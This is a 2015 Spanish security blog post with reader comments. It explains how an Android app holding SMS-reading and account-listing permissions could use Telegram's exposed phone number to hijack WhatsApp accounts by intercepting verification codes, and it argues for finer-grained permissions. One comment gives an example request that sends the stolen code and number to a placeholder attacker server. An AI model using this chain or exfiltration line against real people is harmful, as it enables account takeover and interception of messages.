lunes, julio 20, 2015

¿Sabes cuántas apps de tu Android te pueden robar el WhatsApp por tener Telegram?

Supongo que el título de este artículo a más de uno le puede crear cierta confusión por el hecho de mezclar Telegram y WhatsApp en la misma frase, pero dejadme que lo explique paso a paso y entenderéis de que va el ejercicio que quiere plasmar esta entrada. Vaya por delante que, este ejemplo, pese a que se hace con WhatsApp por su popularidad dentro de los usuarios, sirve para cualquier otra app que utilice la recuperación de cuentas por medio de un mensaje SMS, pero eso hubiera sido demasiado fácil si solo hubiera que hacer eso.

La gracia de hacerlo con WhatsApp es que la recuperación de cuentas se haga por SMS pero que además esté asociada al número de teléfono, y eso, hoy en día, está protegido por WhatsApp en Android. Debido a ese motivo, se usa Telegram como elemento de apoyo, pero también podría utilizarse cualquier otra app que permita usar el número de teléfono como identificador usuario.

Figura 1: ¿Sabes cuántas apps de tu Android te pueden robar el WhatsApp por tener Telegram?

El objetivo final de este artículo no es otro que poner de manifiesto algo que a muchos no nos gusta, y que no es nada más ni menos que los permisos de las apps en Android. El sistema que tiene Android para gestionar la seguridad del sistema, dejando en manos de los usuarios que decidan si quieren dar un permiso u otro a una app durante el proceso de instalación, sin entender bien todos los riesgos asociados, y sin poder cambiarlos a posteriori no gusta a muchos. Parece que Google va a hacer cambios en futuras versiones, y esperemos que así sea para hacer la vida más fácil a todo el mundo. Ahora, vamos con la demo.

Escenario del robo de la cuenta de WhatsApp

Supongamos una empresa que se dedica a hacer apps en Google Play, como pequeños juegos, herramientas de consulta, o pequeños útiles, decide un día volver una de sus apps maliciosas. Dejaré la reflexión sobre por qué hacerlo o si realmente podría haber sido éste el origen inicial de la creación de las apps para otros artículos, así que asumamos que que simplemente el malo controla una app con cierta popularidad que puede volver maliciosa. Esto quiere decir que es una app que puede estar en miles de dispositivos, y no como un troyano que se ha instalado en un único dispositivo para controlarlo. En este caso es una app maliciosa que se instala en miles de dispositivo y que el atacante puede volver maliciosa a capricho.

El objetivo es robar la cuenta de WhatsApp, simplemente como lo puede ser el lanzar la calculadora de Windows cuando se ejecuta un exploit. Solo para demostrar que funciona el planteamiento. Robar la cuenta de WhatsApp no garantiza acceso a la libreta de direcciones, ni a las conversaciones anteriores, pero sí acceso a recibir los mensajes futuros que le envíen a dicha cuenta, lo que para muchos pudiera ser valioso. Es decir, se puede robar la cuenta de WhatsApp, pero no espiar los mensajes de WhatsApp.

Figura 2: Todo lo descrito valdría también para SnapChat

Para conseguir robar esa cuenta, el atacante necesita dos cosas bastante sencillas. La primera el número de teléfono del objetivo - algo que aunque a priori pueda parece evidente, puede que no lo sea -. Supongamos que queremos robar la cuenta de  WhatsApp de un objetivo del que únicamente se sabe su dirección de correo o su cuenta de Twitter o su cuenta de Facebook. No siempre se tienen todos los datos.

En segundo lugar se necesita el código de confirmación que envían los servidores de WhatsApp vía mensaje SMS, y si es en remoto no siempre se tiene acceso a él. Podrían utilizarse trucos si se tiene acceso físico al teléfono como los de la previsualización de mensajes, el acceso a la SIM o la recepción de la llamada de teléfono de verificación, o trucos como el de hackear el buzón de voz para escuchar el código de recuperación grabado por voz, pero en este caso no tenemos acceso al terminal.

El robo del código de confirmación por SMS

Si hubiera que robar cualquier cuenta que pudiera estar asociada a un número de teléfono como segundo factor de recuperación, en Android es suficiente con que la app maliciosa tenga tres permisos de sistema operativo.

El primero de ellos es el permiso GET_ACCOUNTS, que permite a cualquier app que lo tenga conocer qué cuentas están configuradas en un dispositivo Android. Es decir, se podría saber qué cuentas de correo electrónico, qué cuentas de Facebook o Telegram están siendo utilizadas en ese dispositivo. Nótese que dejo a WhatsApp fuera de esta ecuación, pues desde que los equipos de seguridad de la compañía se toman esto muy en serio, quitaron el número de teléfono de WhatsApp de la lista de cuentas en Android y está protegido en la base de datos que usa WhatsApp cifrada con el formato crypt8 que tanto ha mejorado la seguridad para proteger los mensajes contra atacantes indeseados.

Figura 3: Permisos en Android para gestión de los SMS
El segundo de los permisos que es necesario es el de acceder a los mensajes SMS. Esto es bastante curioso, pues en Android se puede hacer con dos permisos distintos, uno llamado RECEIVE_SMS y otro llamado READ_SMS. Ambos permiten leer el contenido de los mensajes, pero uno puede recibirlo directamente la app. Para un programador de apps y/o troyanos, es bastante trivial monitorizar estos mensajes. En el libro de Desarrollo de Android Seguro se hace un ejemplo de esto con los receivers y permite leer todo los mensajes SMS que llegan. Cualquier persona que sepa un poco de Java o de desarrollo de apps en Android es capaz de hacer esta monitorización continua. 

Lo curioso es que pedir un permiso de lectura de SMS no genera una alerta en el sistema operativo más allá de lo habitual, lo que ha permitido en el pasado que algunos estafadores utilizaran este permiso para luego registrar a las víctimas en servicios de mensajes premium simplemente leyendo los códigos de confirmación de suscripción, como en el caso de La linterna molona.

Figura 4: El leer los SMS no trae alerta de "costes adicionales"

El último de los permisos que se necesita es el de INTERNET. Nada más sencillo que tener posibilidad de comunicarse hacia afuera y reportar a servidores controlados por los atacantes toda la información que se haya podido capturar desde el sistema operativo en que se encuentre instalada la app maliciosa.

¿Cuantas apps tienen estos permisos en Google Play?

Para saber qué cantidad de apps podrían - en el caso de que se volviesen maliciosas - hacer este trabajo que se ha contado aquí, basta con hacer un par de búsquedas en nuestro sistema Tacyt por estos permisos y sacar unas cuentas.

Figura 5: Apps en Google Play con permisos de GET_ACCOUNTS y READ_SMS

Con el permiso de RECEIVE_SMS hay más de 25.000 apps y con el permiso de READ_SMS hay alrededor de 14.000 apps en nuestra base de datos.

Figura 6: Apps en Google Play con permisos de GET_ACCOUNTS y RECEIVE_SMS

Por supuesto, esto es una cuenta grosso modo, que poco tiene refinado en sus cálculos, pero lo cierto es que todas ellas, podrían hacer la tarea que he descrito hasta aquí en el artículo. Al final, están ejecutándose en el sistema operativo con los permisos suficientes y solo la auditoría sobre ellas que se haga a la hora de publicarlas en los markets impediría que esto se pudiera hacer.

El caso de Telegram relacionado con WhatsApp

Ahora llega la parte en la que toca explicar qué pinta Telegram en este artículo dedicado al robo de una cuenta de WhatsApp, pero si has leído con atención ya sabrás la respuesta. Como ya he contado, WhatsApp quitó de el almacén de Accounts el registro del número de teléfono, algo que antes sí que estaba. 

Telegram no lo ha quitado aún, y aunque no es estrictamente necesario sacarse una cuenta asociada al número de teléfono, la inmensa mayoría sí tiene su cuenta de Telegram asociada a WhatsApp. Es por eso que hemos visto en el pasado malware de estafas SMS tirando de esta información, tanto de Telegram, como de WhatsApp en el pasado, como con ChatON.

Figura 7: Acceso al número de teléfono asociado en las cuentas de Telegram

Es decir, que si una app maliciosa encuentra en un dispositivo Android una cuenta Telegram creada con un número de teléfono, lo más probable es que sea la cuenta de WhatsApp de ese dispositivo. Así que la app maliciosa ya sabe qué número de teléfono debe reportar al atacante.

La foto final

El esquema final es muy sencillo, las apps maliciosas de todo el mundo le reportan al atacante la información de todas la cuentas - usando el permiso de GET_ACCOUNTS - a las que tienen acceso. Puede que algunas sean correos electrónicos, otras cuentas Twitter, etcétera. Pero si están asociadas a un número de teléfono vía una cuenta Telegram, entonces ya sabe el atacante qué cuenta de WhatsApp debe robar.

Figura 8: Esquema de robo de SMS y cuenta con app maliciosa

El siguiente paso es sencillo, solicitar la recuperación de cuentas vía SMS pidiendo una nueva instalación en un nuevo dispositivo. Los servidores de WhatsApp enviarán el código de confirmación de instalación vía mensaje SMS al número de teléfono de la cuenta, y llegará al dispositivo.

Figura 9: Mensaje de confirmación de WhatsApp

La app maliciosa, con su permiso de monitorizar mensajes SMS, ya sea vía READ_SMS o RECEIVE_SMS, comprueba si el mensaje comienza por WhatsApp Code, y si es así envía ese código junto con el número de teléfono y el resto de las cuentas configuradas en el dispositivo a un servidor controlado por el atacante.

Reflexión final sobre la seguridad de WhatsApp y Telegram

Este artículo solo es, como se han dicho al inicio, una pequeña reflexión sobre cómo funcionan los permisos en los sistemas operativos Android. Estaría bien tener un mayor control - como pace que al final se acabará haciendo en el futuro - sobre los activos del terminal, pudiendo controlar en todo momento los accesos a las fotografías, a los SMS, a los contactos, al GPS, etcétera, desde el panel de control, y que el usuario pudiera quitar un permiso concedido a una app durante su instalación.

Sobre la seguridad de Telegram y WhatsApp, a pesar de que ya ha calado en la gente la idea de que WhatsApp es muy inseguro, lo cierto es que las mejoras en seguridad que se han hecho en los últimos tiempos lo ha puesto - en mi opinión - muy bien. El uso del cifrado end-to-end que aplicaron en los mensajes entre dos personas, el sistema de autenticación puesto en WhatsApp web, el no guardar en el servidor los mensajes enviados y recibidos, por lo que el robo de una cuenta no da acceso a conversaciones anteriores, y el cifrado con crypt8 en Android han mejorado mucho su seguridad, superando en algunas partes a Telegram.


Figura 10: Demostración de cómo grabar chats secretos en Telegram y Snapchat

Telegram, por su parte, al tener de partida los chats secretos, y el borrado de los mensajes hizo calar en la gente una sensación de mayor seguridad. Lo cierto es que por Telegram te pueden vigilar tu actividad igualmente, en Telegram se puede evitar que los chats se borren remotamente y en Telegram se pueden grabar igual que en SnapChat los vídeos y fotos con autodestrucción

Siguen existiendo no obstante en WhatsApp cosas en cuanto a privacidad que mejorar - como que siempre se pueda consultar si estás online o no - , como que se pueda saber si estás en los contactos o no de una persona o que no se pueda desactivar la recuperación por mensaje de voz desde la app - algo que no se puede controlar por ahora con ningún bloqueo a nivel de sistema operativo -, pero ha mejorado mucho su seguridad respecto a años anteriores.

Saludos Malignos!

9 comentarios:

  1. Buenas,
    A la vista esta que en términos de seguridad informática toda prevención es poca a día de hoy, en este caso y aun teniendo en cuenta que se deben de dar una seria de circunstancias, incluso si se optase por dejar de usar dichas aplicaciones de mensajera instantánea como medida de seguridad y teniendo en cuenta que en principio estamos hablando de dos de las mas usadas actualmente, como lo son WhatsApp y Telegram, seria una decisión drástica y como tal sus consecuencias pues, al dejar de usarlas desde mi punto de vista creo que a lo que uno se arriesga mayormente es a casi dejar de existir a nivel social prácticamente ¬¬

    Ajo, Agua y a seguir asumiendo riesgos si se quiere seguir haciendo uso de todas y cada una de las aplicaciones en las que repercuta este problema.

    Saludos!

    ResponderEliminar
  2. El cifrado punto a punto no permite la multisesión, por eso Telegram solo lo tiene en los chats privados y lo que sí tiene es seguridad de llave pública con el servidor. Lo que era un defecto en Whatsapp (la falta de cifrado y no tener multisesión) lo han convertido en un punto fuerte. Sigo sin envidiar a Whatsapp por ello.
    Pienso que es muy importante tener el control de tu dispositivo. Eso empieza por instalar aplicaciones de confianza, pero aun más, nunca tendría un teléfono con restricciones pues es inseguro al no poder gestionar los permisos (mi teléfono está rooteado y se pueden gestionar los permisos individualmente).
    Por otro lado Telegram te envía un mensaje con IP y hora del dispositivo que se ha conectado en tiempo real, que algo es algo; con Whatsapp solo ves que se te ha cerrado la sesión.

    Pero insisto que la mejor seguridad es la de tener control; cuanto más comodidades tienes (sesiones abiertas con recordar contraseñas, ausencia de PIN, teléfono restringido por tu operador...) más vulnerable. Y hoy en día que todo está en la nube e interconectado, es tan importante la seguridad de tu PC, de Android, así como el ordenador de la uni/vecindario lleno de spyware.

    ResponderEliminar
  3. No entiendo como recibis remotamente el codigo de activacion.
    Lo probaste en la practica??? antes de poner el articulo?

    ResponderEliminar
  4. @Anónimo, eso es de Hijacking 101: GET http://www.servercontroladoporelmalo.tk/roba.php?OTP=v_token&cell=v_cell

    Saludos!

    ResponderEliminar
  5. Scroll Freeman23/7/15 2:54 a. m.

    ¿Y que hay de BBM? Nadie habla de ella. Supongo que por ser minoritaria en porcentaje de uso.

    Blackberry se ha centrado en vender su principal activo: seguridad como servicio.

    Personalmente prefiero XMPP+OTR, aunque eso reduce mi número de contactos.

    ResponderEliminar
  6. El problema está en instalar aplicaciones no confiables. Trabajaros un poco más los artículos y no penséis sólo en atraer visitas mediante títulos hiperbólicos.

    ResponderEliminar
  7. Puedo asumir que iOS y WinPhone estan a salvo, por enésima vez por evitar el desastroso concepto de los Permisos Android

    ResponderEliminar
  8. Alucinante que una aplicación que presume de seguridad y privacidad guarde el teléfono sin codificar para que cualquier app del sistema con permisos GET_ACCOUNTS, y no solo las maliciosas, pueda leerlo. Éste es un dato que android protege especialmente, por lo que resulta aun más flagrante que Telegram no tenga especial cuidado en protegerlo.

    Por otra parte aunque existiera posibilidad de jugar con los permisos para proteger este dato me resulta impensable que la generalidad de usuarios, que no son técnicos, puedan ni siquiera saber como hacerlo, es más, es que no deben, es Telegram la que tiene la obligación de proteger la información sensible.

    Me imagino que los principales proveedores de servicios en internet, a los que algunos les hemos negado nuestro número de teléfono durante años, y cuyas app tienen todas permisos GET_ACCOUNTS, estarán disfrutando con la posibilidad, nada ética, de llevarlo a sus propias bases de datos simplemente leyendo el registro de usuario de Telegram.

    Es de suponer que desde julio que se publicó este artículo, Telegram, que siempre ha presumido de seguridad y privacidad, ya se ha enterado del problema, por lo que no entiendo como a día de hoy no se ha preocupado de modificar sus API para que cualquier app lo guarde en todos los sistemas de la manera segura adecuada.

    ResponderEliminar
  9. Finalmente Telegram lo ha arreglado en la versión 3.3. Han cambiado en número de teléfono del perfil por un ID, que ignoro si es el número codificado o un número de usuario asignado por el servicio.

    Según me comentaba un compañero que les escribió sobre el asunto en el soporte de españa se llevaron una pataleta indicando que en relidad se trataba de un intento de notoriedad de Maligno sin ningún fundamento técnico, después que en realidad era un problema de de malware del que Telegram no tenía ninguna responsabilidad, después que si el usuario aplicaba los, inexistentes, permisos en android se podía proteger el perfil y no podría ser robado por cualquier otra app y que por tanto era responsabilidad del usuario y finalmente alguien con conocimientos técnicos ha entendido el problema y, en completo silencio, lo han arrglado en esta última versión para android.

    ResponderEliminar